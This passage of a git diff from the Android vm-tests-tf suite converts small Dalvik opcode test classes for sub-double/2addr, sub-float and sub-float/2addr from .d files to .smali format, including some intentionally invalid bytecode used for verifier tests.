-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(DD)D
-.limit regs 7
-
-       const v3, 3.1415
-       sub-double/2addr v3, v5
-       return-wide v3
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_double_2addr/d/T_sub_double_2addr_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_double_2addr/d/T_sub_double_2addr_2.smali
new file mode 100644
index 0000000..8fe07da
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_double_2addr/d/T_sub_double_2addr_2.smali
@@ -0,0 +1,39 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/sub_double_2addr/d/T_sub_double_2addr_2;
+.super Ljava/lang/Object;
+.source "T_sub_double_2addr_2.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run(DD)D
+    .registers 7
+
+    const p1, 0x40490e56    # 3.1415f
+
+    sub-double/2addr p1, p3
+
+    return-wide p1
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_double_2addr/d/T_sub_double_2addr_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_double_2addr/d/T_sub_double_2addr_3.d
deleted file mode 100644
index a866a14..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_double_2addr/d/T_sub_double_2addr_3.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sub_double_2addr_3.java
-.class public dot.junit.opcodes.sub_double_2addr.d.T_sub_double_2addr_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JD)D
-.limit regs 7
-
-       sub-double/2addr v3, v5
-       return-wide v3
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_double_2addr/d/T_sub_double_2addr_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_double_2addr/d/T_sub_double_2addr_3.smali
new file mode 100644
index 0000000..bc45d76
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_double_2addr/d/T_sub_double_2addr_3.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sub_double_2addr_3.java"
+.class  public Ldot/junit/opcodes/sub_double_2addr/d/T_sub_double_2addr_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JD)D
+.registers 7
+
+       sub-double/2addr v3, v5
+       return-wide v3
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_double_2addr/d/T_sub_double_2addr_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_double_2addr/d/T_sub_double_2addr_4.d
deleted file mode 100644
index a3236ef..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_double_2addr/d/T_sub_double_2addr_4.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sub_double_2addr_4.java
-.class public dot.junit.opcodes.sub_double_2addr.d.T_sub_double_2addr_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(DD)D
-.limit regs 7
-
-       sub-double/2addr v3, v2
-       return-wide v3
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_double_2addr/d/T_sub_double_2addr_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_double_2addr/d/T_sub_double_2addr_4.smali
new file mode 100644
index 0000000..966517d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_double_2addr/d/T_sub_double_2addr_4.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sub_double_2addr_4.java"
+.class  public Ldot/junit/opcodes/sub_double_2addr/d/T_sub_double_2addr_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(DD)D
+.registers 7
+
+       sub-double/2addr v3, v2
+       return-wide v3
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_double_2addr/d/T_sub_double_2addr_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_double_2addr/d/T_sub_double_2addr_5.d
deleted file mode 100644
index aa69895..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_double_2addr/d/T_sub_double_2addr_5.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sub_double_2addr_5.java
-.class public dot.junit.opcodes.sub_double_2addr.d.T_sub_double_2addr_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(DD)D
-.limit regs 7
-
-       sub-double/2addr v3, v7
-       return-wide v3
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_double_2addr/d/T_sub_double_2addr_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_double_2addr/d/T_sub_double_2addr_5.smali
new file mode 100644
index 0000000..232d62f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_double_2addr/d/T_sub_double_2addr_5.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sub_double_2addr_5.java"
+.class  public Ldot/junit/opcodes/sub_double_2addr/d/T_sub_double_2addr_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(DD)D
+.registers 7
+
+       sub-double/2addr v3, v7
+       return-wide v3
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_double_2addr/d/T_sub_double_2addr_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_double_2addr/d/T_sub_double_2addr_6.d
deleted file mode 100644
index 07bc954..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_double_2addr/d/T_sub_double_2addr_6.d
+++ /dev/null
@@ -1,37 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sub_double_6.java
-.class public dot.junit.opcodes.sub_double_2addr.d.T_sub_double_2addr_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)V
-.limit regs 7
-       move v0, v5
-       move v1, v5
-       move v2, v6
-       move v3, v6       
-       sub-double/2addr v0, v2
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_double_2addr/d/T_sub_double_2addr_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_double_2addr/d/T_sub_double_2addr_6.smali
new file mode 100644
index 0000000..f17ca46
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_double_2addr/d/T_sub_double_2addr_6.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sub_double_6.java"
+.class  public Ldot/junit/opcodes/sub_double_2addr/d/T_sub_double_2addr_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)V
+.registers 7
+       move v0, v5
+       move v1, v5
+       move v2, v6
+       move v3, v6       
+       sub-double/2addr v0, v2
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float/d/T_sub_float_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float/d/T_sub_float_1.d
deleted file mode 100644
index 39f6708..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float/d/T_sub_float_1.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sub_float_1.java
-.class public dot.junit.opcodes.sub_float.d.T_sub_float_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FF)F
-.limit regs 4
-
-       sub-float v0, v2, v3
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float/d/T_sub_float_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float/d/T_sub_float_1.smali
new file mode 100644
index 0000000..3b55c2c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float/d/T_sub_float_1.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sub_float_1.java"
+.class  public Ldot/junit/opcodes/sub_float/d/T_sub_float_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)F
+.registers 4
+
+       sub-float v0, v2, v3
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float/d/T_sub_float_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float/d/T_sub_float_2.d
deleted file mode 100644
index c144976..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float/d/T_sub_float_2.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sub_float_2.java
-.class public dot.junit.opcodes.sub_float.d.T_sub_float_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FF)F
-.limit regs 5
-
-       move v2, v3
-       const-wide v3, 3.1415
-       sub-float v0, v2, v3
-       return v2
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float/d/T_sub_float_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float/d/T_sub_float_2.smali
new file mode 100644
index 0000000..8fef2d9
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float/d/T_sub_float_2.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sub_float_2.java"
+.class  public Ldot/junit/opcodes/sub_float/d/T_sub_float_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)F
+.registers 5
+
+       move v2, v3
+       const-wide v3, 3.1415
+       sub-float v0, v2, v3
+       return v2
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float/d/T_sub_float_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float/d/T_sub_float_3.d
deleted file mode 100644
index 0456de2..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float/d/T_sub_float_3.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sub_float_3.java
-.class public dot.junit.opcodes.sub_float.d.T_sub_float_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FF)F
-.limit regs 5
-
-       move v2, v3
-       const-wide v3, 9475928
-       sub-float v0, v3, v2
-       return v2
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float/d/T_sub_float_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float/d/T_sub_float_3.smali
new file mode 100644
index 0000000..9d82bc0
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float/d/T_sub_float_3.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sub_float_3.java"
+.class  public Ldot/junit/opcodes/sub_float/d/T_sub_float_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)F
+.registers 5
+
+       move v2, v3
+       const-wide v3, 9475928
+       sub-float v0, v3, v2
+       return v2
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float/d/T_sub_float_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float/d/T_sub_float_4.d
deleted file mode 100644
index 1c73e66..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float/d/T_sub_float_4.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sub_float_4.java
-.class public dot.junit.opcodes.sub_float.d.T_sub_float_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FF)F
-.limit regs 4
-
-       sub-float v0, v1, v3
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float/d/T_sub_float_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float/d/T_sub_float_4.smali
new file mode 100644
index 0000000..13a3b87
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float/d/T_sub_float_4.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sub_float_4.java"
+.class  public Ldot/junit/opcodes/sub_float/d/T_sub_float_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)F
+.registers 4
+
+       sub-float v0, v1, v3
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float/d/T_sub_float_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float/d/T_sub_float_5.d
deleted file mode 100644
index c851a5b..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float/d/T_sub_float_5.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sub_float_5.java
-.class public dot.junit.opcodes.sub_float.d.T_sub_float_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(IF)F
-.limit regs 4
-
-       sub-float v0, v2, v3
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float/d/T_sub_float_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float/d/T_sub_float_5.smali
new file mode 100644
index 0000000..f2403c1
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float/d/T_sub_float_5.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sub_float_5.java"
+.class  public Ldot/junit/opcodes/sub_float/d/T_sub_float_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(IF)F
+.registers 4
+
+       sub-float v0, v2, v3
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float/d/T_sub_float_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float/d/T_sub_float_6.d
deleted file mode 100644
index c069f2d..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float/d/T_sub_float_6.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sub_float_6.java
-.class public dot.junit.opcodes.sub_float.d.T_sub_float_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FF)F
-.limit regs 4
-
-       sub-float v0, v2, v4
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float/d/T_sub_float_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float/d/T_sub_float_6.smali
new file mode 100644
index 0000000..e596c15
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float/d/T_sub_float_6.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sub_float_6.java"
+.class  public Ldot/junit/opcodes/sub_float/d/T_sub_float_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)F
+.registers 4
+
+       sub-float v0, v2, v4
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float_2addr/d/T_sub_float_2addr_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float_2addr/d/T_sub_float_2addr_1.d
deleted file mode 100644
index d1c6e61..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float_2addr/d/T_sub_float_2addr_1.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sub_float_2addr_1.java
-.class public dot.junit.opcodes.sub_float_2addr.d.T_sub_float_2addr_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FF)F
-.limit regs 4
-
-       sub-float/2addr v2, v3
-       return v2
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float_2addr/d/T_sub_float_2addr_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float_2addr/d/T_sub_float_2addr_1.smali
new file mode 100644
index 0000000..09bc087
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float_2addr/d/T_sub_float_2addr_1.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sub_float_2addr_1.java"
+.class  public Ldot/junit/opcodes/sub_float_2addr/d/T_sub_float_2addr_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)F
+.registers 4
+
+       sub-float/2addr v2, v3
+       return v2
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float_2addr/d/T_sub_float_2addr_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float_2addr/d/T_sub_float_2addr_2.d
deleted file mode 100644
index 3f3b632..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float_2addr/d/T_sub_float_2addr_2.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
